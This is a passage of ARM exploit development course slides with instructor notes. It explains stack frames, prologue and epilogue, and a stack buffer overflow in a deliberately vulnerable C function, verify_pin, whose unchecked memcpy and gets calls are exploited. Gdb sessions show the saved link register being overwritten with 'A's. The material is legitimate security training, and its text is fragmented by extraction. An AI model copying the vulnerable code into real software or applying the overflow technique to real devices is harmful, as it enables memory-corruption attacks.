https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Creating the Stack Frame – verify_pin (3)

09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Push lr and r7 onto the stack
Low Address

Grow (Push)

gef➤ disas verify_pin

micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
Shrink (Pop)
SP
original r7
lr

main
High Address

24356915 SEC661 | ARM Exploit Development 95

The lr (link register) and r7 register get pushed onto the stack. Notice that they get pushed on from right
to left as they are listed in the instruction. The stack pointer register gets shifted by 8 (4 bytes for each register
pushed onto the stack). Recall that the stack grows down. Because of this, the SP is now eight bytes less than it

Paul Erwin
was before pushing both the r7 and lr registers onto the stack.

Recall that the lr register will point to the instruction after the branch. In this example, this would be the
instruction in the main function that follows the branch to verify_pin. This is essentially the return address
and will get popped into pc when the function returns.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 95


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Creating the Stack Frame – verify_pin (4)

09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Subtract 32 bytes from sp to
Low Address

create more space in the stack SP

frame Grow (Push)


4 bytes
gef➤ disas verify_pin each

micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
Shrink (Pop)
original r7
lr

main
High Address

24356915 SEC661 | ARM Exploit Development 96

Now, verify_pin needs to make some more space for itself on the stack. With the r7 and lr already
pushed onto the stack, it subtracts 32 from the SP register to create the verify_pin stack frame.
Remember that we grow the stack by subtracting from the stack pointer. This is very common, and you see it

Paul Erwin
at the beginning of functions in the prologue.

In the diagram, the blocks are 4 bytes each to help us accurately align the local stack data.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

96 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Creating the Stack Frame – verify_pin (5)

09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Add 0 to SP and store it in R7
Low Address
SP & r7
• R7 also known as the frame
pointer Grow (Push)

gef➤ disas verify_pin

micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>:
0x00010482 <+2>:
0x00010484 <+4>:
push
sub
add
{r7, lr}
sp, #32
r7, sp, #0 original r7
Shrink (Pop)

lr
The verify_pin stack
frame has now been main
High Address
created

24356915 SEC661 | ARM Exploit Development 97

In the next instruction, 0 is added to SP and the result is stored in r7. This is similar to copying SP into r7.
Now each point to the same location, since the previous value held by r7 has been pushed onto the stack and
will be recovered when the function returns.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 97


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Returning from verify_pin

09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Returning from the function
SP & r7

0x000104fa <+122>: adds r7, #32


0x000104fc <+124>: mov sp, r7
0x000104fe <+126>: pop {r7, pc}

micede1865@wii999_com original r7
lr

main

24356915 SEC661 | ARM Exploit Development 98

Before we look at how local variables are stored in the verify_pin stack frame, let’s first take a look at
how we return from a function. This happens in the function epilogue. If look at the disassembly at the end of
the verify_pin function, we see how it cleans up the stack frame and returns back to main. Let’s walk

Paul Erwin
through this process. At this point in the program, the SP and r7 register both point to the top of the stack.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

98 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Epilogue – verify_pin (1)

09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Add 32 to r7, bringing it to
the previous sp location SP

0x000104fa <+122>: adds r7, #32


0x000104fc <+124>: mov sp, r7
0x000104fe <+126>: pop {r7, pc}

micede1865@wii999_com r7
original r7
lr

main

24356915 SEC661 | ARM Exploit Development 99

To begin to shift the stack frame back to where it was, the epilogue starts by adding 32 to the r7 register. This
is the same value that was subtracted from the SP register at the beginning of the function. When this
happens, the r7 value shifts and now points to the address on the stack that holds the original r7 value.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 99


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Epilogue – verify_pin (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Copy r7 into sp, this shifts sp
to the saved r7 and lr

0x000104fa <+122>: adds r7, #32


0x000104fc <+124>: mov sp, r7
0x000104fe <+126>: pop {r7, pc}

micede1865@wii999_com SP & r7
original r7
lr

main

24356915 SEC661 | ARM Exploit Development 100

The next instruction is a ‘mov sp, r7’ instruction which essentially copies the r7 value (that has been
shifted already) into SP. Now they are both at the same location and point to the stack address that holds the
original r7 value.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

100 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Returning from verify_pin

09b91222e5d2d3d668cf8e52ec5d35ba
• A copy of the LR (link
register) value is stored on
the stack just past the
local variables
• The saved LR will be verify_pin

micede1865@wii999_com
popped into PC for the
function to return saved r7 (frame pointer) original r7
stack frame

saved lr (return address) lr


If you can overflow a local variable
and overwrite the saved LR, it is
main
possible to gain control of execution

24356915 SEC661 | ARM Exploit Development 101

We know that the saved link register is stored on the stack and will be popped into pc. As an attacker, we see
this as a highly valuable memory address and if we can overwrite it with our own input data (in the form of an
address) that we control, we can redirect execution to wherever we want in the program’s memory space.

Paul Erwin
Another benefit of this scenario is that the local stack variables are stored just before the saved registers.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 101


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Epilogue – verify_pin (3)

09b91222e5d2d3d668cf8e52ec5d35ba
• Epilogue Instructions
• Pop the original r7 back into r7
• Pop the saved lr into pc
THIS IS KEY! CONTROL FLOW CAN BE REDIRECTED
IF AN ATTACKER CAN OVERWRITE THE SAVED LR

micede1865@wii999_com
0x000104fa <+122>:
0x000104fc <+124>:
0x000104fe <+126>:
adds
mov
pop
r7, #32
sp, r7
{r7, pc} original r7 popped into r7
lr popped into pc
SP

In normal operation, after this pop


main
instruction, the function returns to the
caller (in this case, the main function)

24356915 SEC661 | ARM Exploit Development 102

The next instruction pops the saved value back into r7 and then the saved return address (lr) into pc,
redirecting execution back to the main function.

Paul Erwin
Now, the original r7 that gets saved onto the stack in the function prologue has been restored and we resume
execution at the address that followed the branch to verify_pin back in the main function. Also, the SP
is now pointing at the same location as it was back in the main function.

This is a common prologue/epilogue scenario. You may see more registers (other than r7) get pushed onto the
stack, but the idea is the same.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

102 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Local Stack Variables

09b91222e5d2d3d668cf8e52ec5d35ba
• The stack frames provide Low Address
storage for local variables
• Local variables are Grow (Push)
referenced in relation to verify_pin
verify_pin
either the stack pointer or
micede1865@wii999_com
the frame pointer Shrink (Pop) original r7
stack frame

lr

main
main
High Address stack frame

24356915 SEC661 | ARM Exploit Development 103

Recall once again that the stack grows down and when the function shifts the SP down further via a subtract in
the function prologue, it makes space for the function’s local stack variables.

Paul Erwin
Local variables get created inside the function and are stored in the stack frame.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 103


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Local Variables - *pin

09b91222e5d2d3d668cf8e52ec5d35ba
bool verify_pin(char *pin) {
4-byte pointer
to our command
line input
char pin_buffer[20];
SP
if (!pin) {
printf("\nPlease enter a pin: "); *pin
gets(pin_buffer);
}
else {
memcpy(pin_buffer, pin, strlen(pin)); verify_pin

micede1865@wii999_com
pin_buffer[strlen(pin)]='\x00';
stack frame
}

printf("\nYou entered: %s\n", pin_buffer);


original r7
if (strcmp(pin_buffer, KEY) == 0)
return false; lr
else
return true;
}
main

24356915 SEC661 | ARM Exploit Development 104

Now that verify_pin has some room to work with its local variables, let’s take a look at where they get
stored. A pointer to the input data gets passed into the verify_pin function. This pointer (called pin) gets
stored at SP+4, just inside our stack frame.

Paul Erwin
The illustration of the verify_pin stack frame aligns with the actual offsets that you would see in
assembly code.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

104 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Local Variables – pin_buffer[20]

09b91222e5d2d3d668cf8e52ec5d35ba
bool verify_pin(char *pin) {

char pin_buffer[20];
SP
if (!pin) {
printf("\nPlease enter a pin: "); *pin
gets(pin_buffer);
}
else { pin_buffer
memcpy(pin_buffer, pin, strlen(pin)); 20-byte (5x4) pin_buffer verify_pin

micede1865@wii999_com
pin_buffer[strlen(pin)]='\x00';
char array that pin_buffer stack frame
}
holds the pin_buffer
printf("\nYou entered: %s\n", pin_buffer); destination for pin_buffer
if (strcmp(pin_buffer, KEY) == 0)
the memcpy original r7
return false; lr
else
return true;
}
main

24356915 SEC661 | ARM Exploit Development 105

Next, we see pin_buffer get created inside the verify_pin function. It is created as a 20-char array.
Chars are 1 byte each, so pin_buffer can only hold 20 bytes. In the illustration we show this as 5 blocks
since 5x4=20. If you were to look at this function in assembly, you would see that the pin_buffer variable
starts at SP+0xc or SP+12.
Paul Erwin
At this point we see a 4-byte address (pin) at SP+4 that points to our input data and we also see a 20-byte char
array (pin_buffer) at SP+12 that will be the destination of our memcpy. Things are about to get
interesting.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 105


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Source Code for verify_pin.c (2)

09b91222e5d2d3d668cf8e52ec5d35ba
Destination buffer can
bool verify_pin(char *pin) { User-provided input
char pin_buffer[20];
only hold 20 bytes
if (!pin) {
printf("\nPlease enter a pin: ");
gets(pin_buffer);
}
Copy user input into
else { dest src len fixed-size buffer. The
memcpy(pin_buffer, pin, strlen(pin)); number of bytes to

micede1865@wii999_com
pin_buffer[strlen(pin)]='\x00';
}
copy is the length of
the user input.
printf("\nYou entered: %s\n", pin_buffer);

if (strcmp(pin_buffer, KEY) == 0)
return false;
else
return true;
}

verify_pin function

24356915 SEC661 | ARM Exploit Development 106

The problem with the verify_pin function is that it takes in user-provided input and without any checks
copies that input into a fixed-size buffer. There are no checks in the main function either. The author of this
program trusts that the user input will never be over 20 bytes. In the memcpy function the user’s input (pin)

Paul Erwin
gets copied into pin_buffer. The length of pin (strlen(pin)) is used as the length parameter in
memcpy which tells it how many bytes to copy from the source to the destination.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

106 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Common Functions - memcpy

09b91222e5d2d3d668cf8e52ec5d35ba
• Copy x number of bytes $ cat memcpy.c
from source to destination /* Public domain. */
#include <stddef.h>

Reduce length by one (len--) void *


every time the while loop memcpy (void *dest, const void *src, size_t len)
executes. {

micede1865@wii999_com
Go until there is no len.
char *d = dest;
const char *s = src;
while (len--)
*d++ = *s++;
return dest;
Copy 1 byte from src (*s++) }
into dest (*d++) every time
the loop executes. There are various
implementations of the
memcpy function.

24356915 SEC661 | ARM Exploit Development 107

Let’s take a look at what the memcpy function does. There are different implementations, but fundamentally
they do the same thing.

Paul Erwin
If you run “man memcpy” from the Linux command line, you can see a description of memcpy.

The syntax in the slide may look complex if you’re not familiar with C. The ++ will increment the pointer each
iteration of the while loop, at the same time copying one byte from the source to the destination. Also,
the length (len) variable will decrement (--) each time until it reaches zero and breaks out of the
while loop.

There are no checks in the memcpy function. There is nothing to ensure that the destination can hold the

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
number of bytes being copied into it. This isn’t necessarily a bad thing, but it puts the burden on the developer
to ensure that no overflows occur by putting checks somewhere else in the code.

The snippet of memcpy source in the slide was taken from /gcc-4.9.4/libgcc/memcpy.c.

man memcpy
...
DESCRIPTION
The memcpy() function copies n bytes from memory area src to memory area dest. The memory

live
areas must not overlap. Use memmove(3) if the memory areas do overlap.

RETURN VALUE
The memcpy() function returns a pointer to dest.

© 2021 Hungry Hackers, LLC 107


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Problematic Functions

09b91222e5d2d3d668cf8e52ec5d35ba
• No bounds checks within these functions
• The function themselves are not the problem
• The developer must ensure the security surrounding these functions
• Improper implementation of these functions is the source of many bugs

micede1865@wii999_com
memcpy, strcpy, strcat, sscanf, gets, ...
Problematic functions

24356915 SEC661 | ARM Exploit Development 108

There is a set of C functions that have been called problematic or insecure functions. Poor implementations of
these functions has been the reason for many bugs. The function themselves are not the problem, but they offer
no bounds checking to ensure that overflows do not occur. Alternative functions are available that provide

Paul Erwin
bounds checking, but even these “safer” functions must be implemented correctly.

In addition to some of the popular functions that fall into this category, many times there will be similar (often
custom) functions that may have a different name but do the same thing.

One approach for bug hunting is to look for these functions in a target binary, and review how they are
implemented.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions

live

108 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Questions - Looking For Bugs

09b91222e5d2d3d668cf8e52ec5d35ba


Can I provide the input to this function?
What is the destination?
• How is the length determined?
*pin
• Are there checks surrounding this function?
pin_buffer
• If an overflow is possible, what can I overwrite? pin_buffer

micede1865@wii999_com
bool verify_pin(char *pin) {

char pin_buffer[20];

if (!pin) {
pin_buffer
pin_buffer
pin_buffer
original r7
printf("\nPlease enter a pin: "); lr
gets(pin_buffer);
}
else {
main
memcpy(pin_buffer, pin, strlen(pin));
pin_buffer[strlen(pin)]='\x00';
}

24356915 SEC661 | ARM Exploit Development 109

As an attacker, there are some questions that we can ask ourselves when we come across a “problematic”
function in a program.


Paul Erwin
Let’s try to answer these questions for the memcpy implementation in the verify_pin program.

Can I provide the input to this function?


• Yes, we provide the input from the command line, and it is passed into verify_pin by main
• We can also provide input via the call to gets in verify_pin

• What is the destination?


• The destination is the pin_buffer char array on the stack that is limited to only holding 20 bytes
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• How is the length determined?
• The length of the memcpy is based on the length of our input

• Are there checks surrounding this function?


• No, there are no checks to ensure that the length of the memcpy is something that pin_buffer can
hold


live
If an overflow is possible, what can I overwrite?
• If we can overflow pin_buffer via memcpy (looking at the stack illustration in the slide) we
could overflow the original r7 and the saved link register (lr) on the stack
• This would give us control of execution when the function returns.

© 2021 Hungry Hackers, LLC 109


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Epilogue – Attacker’s Goal (1)

09b91222e5d2d3d668cf8e52ec5d35ba dest src len


memcpy(pin_buffer, pin, strlen(pin));

*pin points to source data *pin points to source data

pin_buffer first bytes of AAAA


pin_buffer destination AAAA attacker
controlled

micede1865@wii999_com
pin_buffer
pin_buffer
pin_buffer
original r7
destination (20 bytes) AAAA
AAAA
AAAA
AAAA
data

overflow
lr AAAA occurs

main
before after main
memcpy memcpy

24356915 SEC661 | ARM Exploit Development 110

Here is what the verify_pin stack frame looks like before and after an overflow. Before the memcpy we
see a pointer to our source data and the pin_buffer in the stack frame. These local variables are followed
by the saved r7 and saved lr that we will use to return to main (both of these registers got pushed onto the
stack in the prologue).
Paul Erwin
The memcpy takes the source data and copies it into pin_buffer. So, the destination is the same place
where the pin_buffer variable starts on the stack. If we provide more than 20 bytes of input, there is
nothing in the memcpy that prevents us from writing past the end of the pin_buffer array.

If we look at the number of bytes used in this example, we see that bytes 0-19 would fill up the pin_buffer
array and bytes 20-23 (think of this as groups of 4) would overwrite the original r7 address on the stack. This
means that bytes 24-27 would overwrite the saved lr. So, the 4 bytes at our input buffer+24 will be where
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
execution will get redirected to. In this example, since the saved lr was overwritten with “AAAA” or
0x41414141, this is the address where the function would try to return to.

live

110 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Epilogue – Attacker’s Goal (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• After the overflow, the function
continues to execute
• Attacker has overwritten the
saved lr and can redirect *pin

execution when it is popped into AAAA


attacker
AAAA
PC controlled

micede1865@wii999_com
• Popping “AAAA” or 0x41414141
into PC will crash the program SP
AAAA
AAAA
AAAA
AAAA
data

popped into r7
AAAA popped into pc

0x000104fa <+122>: adds r7, #32


0x000104fc <+124>: mov sp, r7 main
0x000104fe <+126>: pop {r7, pc}

24356915 SEC661 | ARM Exploit Development 111

Let’s walk through the epilogue. After the memcpy occurs, the verify_pin function continues execution.
Nothing is stopping it from proceeding to the end of the function. It is unaware that memory corruption has
occurred at this point.

Paul Erwin
In the very last instruction, two values are popped off the stack. The first value goes into r7, and the second
value goes into PC. This redirects execution to whatever address it pops into PC. As an attacker we can
redirect execution anywhere, but in this example, it will go to 0x41414141 which is not a valid address since
there are no executable instructions there. At this point the program would crash.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 111


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy – No Corruption (1)

09b91222e5d2d3d668cf8e52ec5d35ba
• Prior to the memcpy

User input/pin: “AAAAAAAAAAAAAAAA” (12 bytes)

micede1865@wii999_com
AAAA AAAA AAAA

pin_buffer[20] Orig R7 LR

24356915 SEC661 | ARM Exploit Development 112

Let’s look at this from a different angle. If we keep the size of our input less than 20 bytes (let’s use 12 A’s as
an example), we should not overflow pin_buffer and the function should behave normally. The original
r7 and saved lr on the stack should be undisturbed, the epilogue will pop them into the appropriate registers

Paul Erwin
and the function will return as normal.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

112 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy – No Corruption (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• After the memcpy
• User input fits fine into the 20-byte buffer

User input/pin: “AAAAAAAAAAAAAAAA” (12 bytes)

micede1865@wii999_com
AAAA AAAA AAAA

8 bytes remaining in pin_buffer[20]

AAAA AAAA AAAA pin_buffer Orig R7 LR

pin_buffer[20]

24356915 SEC661 | ARM Exploit Development 113

After the memcpy occurs, we see that the A’s get copied into the pin_buffer char array and there are
still 8 bytes remaining. This does not present a problem for the verify_pin function because nothing has
been overwritten.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 113


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy – Overflow (1)

09b91222e5d2d3d668cf8e52ec5d35ba
• Prior to the memcpy
• This time sending a larger buffer

User input/pin: “AAAAAAAAAAAAAAAAAAAAAAAAAAAA” (28 bytes)

micede1865@wii999_com
AAAA AAAA AAAA AAAA AAAA AAAA AAAA

pin_buffer[20] Orig R7 LR

24356915 SEC661 | ARM Exploit Development 114

Let’s do this again, but this time, we will provide 28 bytes of input to be copied unchecked into
pin_buffer.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

114 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy – Overflow (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• After the memcpy
• Saved LR gets overwritten
• Execution will be redirected to 0x41414141 (“AAAA”)
User input/pin: “AAAAAAAAAAAAAAAAAAAAAAAAAAAA” (28 bytes)

micede1865@wii999_com
AAAA AAAA AAAA AAAA AAAA AAAA AAAA

AAAA AAAA AAAA AAAA AAAA


pin_buffer[20] AAAAR7
Orig AAAA
LR

overwritten LR

24356915 SEC661 | ARM Exploit Development 115

When we copy in more bytes than pin_buffer can hold, we overwrite the saved LR. When the function
returns the program counter will try to redirect execution to address 0x41414141, causing a crash.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 115


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy Parameters in GDB (1)

09b91222e5d2d3d668cf8e52ec5d35ba
• Breakpoint at memcpy
• Instruction at 0x000104b4 is
the branch to memcpy SP
*pin

nemo@mako:~/labs/verify_pin$ gdb verify_pin pin_buffer


(gdb) b *0x000104b4 pin_buffer verify_pin

micede1865@wii999_com
Breakpoint 1 at 0x104b4

(gdb) run "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"


...
Breakpoint 1, 0x000104b4 in verify_pin ()
pin_buffer
pin_buffer
pin_buffer
original r7
stack frame

(gdb) info reg $r0 $r1 $r2 $sp


lr
r0 0xbefff46c 3204445292
r1 0xbefff738 3204446008
r2 0x1c 28 main
sp 0xbefff460 0xbefff46028

24356915 SEC661 | ARM Exploit Development 116

This walkthrough will be covered in the next lab.

We start by setting a breakpoint at 0x104b4. It doesn’t look like it, but the blx instruction (not shown) will
eventually call memcpy.
Paul Erwin
If we run the program and provide 28 A’s as user input, we should hit the breakpoint. When we do, we can
examine the arguments passed to memcpy by looking at the registers. Recall that if there are less than 4
arguments, they are all passed in registers r0-r3. Memcpy has 3 arguments, the destination (r0),
source (r1), and length (r2).

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

116 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy Parameters in GDB (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• Breakpoint is hit
• Prior to branching to memcpy
• Examining the stack frame SP
*pin
using SP as a starting point sp+4
sp+8
(gdb) info reg $r0 $r1 $r2 $sp sp+12 pin_buffer
r0 0xbefff46c (dest) 3204445292 sp+16 pin_buffer pin_buffer
0xbefff738 (src)

micede1865@wii999_com
r1 3204446008
(len) sp+20 pin_buffer can hold
r2 0x1c 28
sp 0xbefff460 0xbefff46028 sp+24 pin_buffer 20 bytes
sp+28 pin_buffer
(gdb) x/s $r1
sp+32 original r7
0xbefff738: 'A' <repeats 28 times>
sp+36 lr
(gdb) x/10wx $sp sp+4 (*pin) sp+0xc (+12)
0xbefff460: 0x00000000 0xbefff738 0x00010a81 0x00010af9
pin_buffer[20]
0xbefff470: 0x00076d80 0x00000000 0x00010459 0x00010adf
main
0xbefff480: 0xbefff488 0x00010527

orig r7 saved lr

24356915 SEC661 | ARM Exploit Development 117

While we are stopped at the call to memcpy, let’s verify each of the arguments.

memcpy(r0=destination, r1=source, r2=length)

Paul Erwin
Let’s start with r0 which should point to the destination. Recall that the destination is the 20-byte
pin_buffer char array. R0 is showing the destination at address 0xbefff46c. If we take a look at the
stack data in gdb using the command x/10wx $sp, we see that the SP value plus 12 (0xc) is the
address of the destination. The output from the x command lines up with what we see in the info reg
command. The pin_buffer array is highlighted in the slide.

Next, let’s look at the source data. This is stored as a pointer in the r1 register. To view this, we can use the
x/s $r1 command. Gdb shows us that this is the letter “A” that repeats 28 times.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Finally, we look at the length stored in r2. The value in r2 is 0x1c hexadecimal or 28 decimal. This is the
length of our input string and should match our understanding of what is happening in the memcpy.

Next, we will take a look at what the stack looks like after the memcpy function returns.

The commands provided on the following page show how to verify the memcpy arguments for verify_pin
in gdb.
live

© 2021 Hungry Hackers, LLC 117


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/verify_pin$ gdb verify_pin
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

09b91222e5d2d3d668cf8e52ec5d35ba
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:

micede1865@wii999_com
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from verify_pin...
(No debugging symbols found in verify_pin)
(gdb)

(gdb) disas verify_pin


... 24356915
(gdb) b *0x000104b4
Breakpoint 1 at 0x104b4

(gdb) run "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"


The program being debugged has been started already.
Start it from the beginning? (y or n) y
Paul Erwin
Starting program: /home/nemo/labs/verify_pin/verify_pin "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"

Breakpoint 1, 0x000104b4 in verify_pin ()

(gdb) info reg $r0 $r1 $r2 $sp


r0 0xbefff46c 3204445292
r1 0xbefff738 3204446008
r2 0x1c 28

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
sp 0xbefff460

(gdb) x/s $r1


0xbefff460

0xbefff738: 'A' <repeats 28 times>

(gdb) x/10wx $sp


0xbefff460: 0x00000000 0xbefff738 0x00010a81 0x00010af9
0xbefff470: 0x00076d80 0x00000000 0x00010459 0x00010adf
0xbefff480: 0xbefff488 0x00010527
live

118 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memcpy Parameters in GDB (3)

09b91222e5d2d3d668cf8e52ec5d35ba
• Breakpoint after memcpy (0x10b48)
• Set a new breakpoint and continue SP
• Examine the overflow sp+4 *pin
sp+8
sp+12 AAAA
sp+16 AAAA pin_buffer

micede1865@wii999_com can hold


(gdb) b * 0x104b8 sp+20 AAAA
Breakpoint 2 at 0x104b8
(gdb) c sp+24 AAAA 20 bytes
Continuing. sp+28 AAAA
sp+32 AAAA
Breakpoint 2, 0x000104b8 in verify_pin ()
(gdb) x/10wx $sp sp+4 (*pin) sp+0xc (+12) sp+36 AAAA
0xbefff460: 0x00000000 0xbefff738 0x00010a81 0x41414141
pin_buffer[20]
0xbefff470: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff480: 0x41414141 0x41414141 main

orig r7 saved lr

24356915 SEC661 | ARM Exploit Development 119

To view the stack after the memcpy, we will set a new breakpoint and continue. Our previous breakpoint had us
stopped at 0x104b4, just before the blx to memcpy. We will set a new breakpoint at 0x104b8 and continue. This
address will allow us to observe the program memory after the memcpy has occurred. Stopping at this point will

Paul Erwin
allow us to observe the stack overflow using gdb’s x command.

From the output of the x/10wx command, we see that the pin_buffer array is full, and we wrote past it and
overwrote the saved r7 and lr with A’s. This shows that we can redirect execution if we change the As at our
input buffer+24 to a valid address somewhere else in the program’s memory space.

(gdb) x/5i $pc


=> 0x104b4 <verify_pin+52>: blx 0x10178

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x104b8 <verify_pin+56>:
0x104ba <verify_pin+58>:
0x104be <verify_pin+62>:
ldr
bl
mov
r0, [r7, #4]
0x23d00 <strlen>
r3, r0
0x104c0 <verify_pin+64>: add.w r2, r7, #32

(gdb) b * 0x104b8
Breakpoint 2 at 0x104b8

(gdb) c
Continuing.

Breakpoint 2, 0x000104b8 in verify_pin ()


live
(gdb) x/10wx $sp
0xbefff460: 0x00000000 0xbefff738 0x00010a81 0x41414141
0xbefff470: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff480: 0x41414141 0x41414141

In the stack overflow lab, we will redirect execution to the “Door Unlocked” message.

© 2021 Hungry Hackers, LLC 119


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Overflow Exploit – An Approach

09b91222e5d2d3d668cf8e52ec5d35ba
• Trigger the overflow
• Deliver specially crafted input
• This usually starts with a crash
• Redirect execution
• Something that will improve our level of access
micede1865@wii999_com
• Maintain the stability of the system
• This depends on the goal and the target environment

24356915 SEC661 | ARM Exploit Development 120

Trigger the overflow


• Is the overflow something we can reach?
• What type of input does it require?

Paul Erwin
• Usually, we can verify this by causing a crash

Redirect execution
• Redirect to something useful that will give us additional access

Maintain the stability of the system


• Stability of the system (not necessarily the just the process)
• We want to maintain access or reachability if it is something we are attacking over a network

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• The stability requirement depends on the goal and the target environment

live

120 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Ghidra Decompiler – verify_pin

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 121

Before we begin into the lab, here is a look at the verify_pin program in Ghidra.

The output shows the main and verify_pin functions from Ghidra’s decompiler. This is not quite the

Paul Erwin
same as the verify_pin.c source file, but it is Ghidra’s interpretation of what the C code probably looks
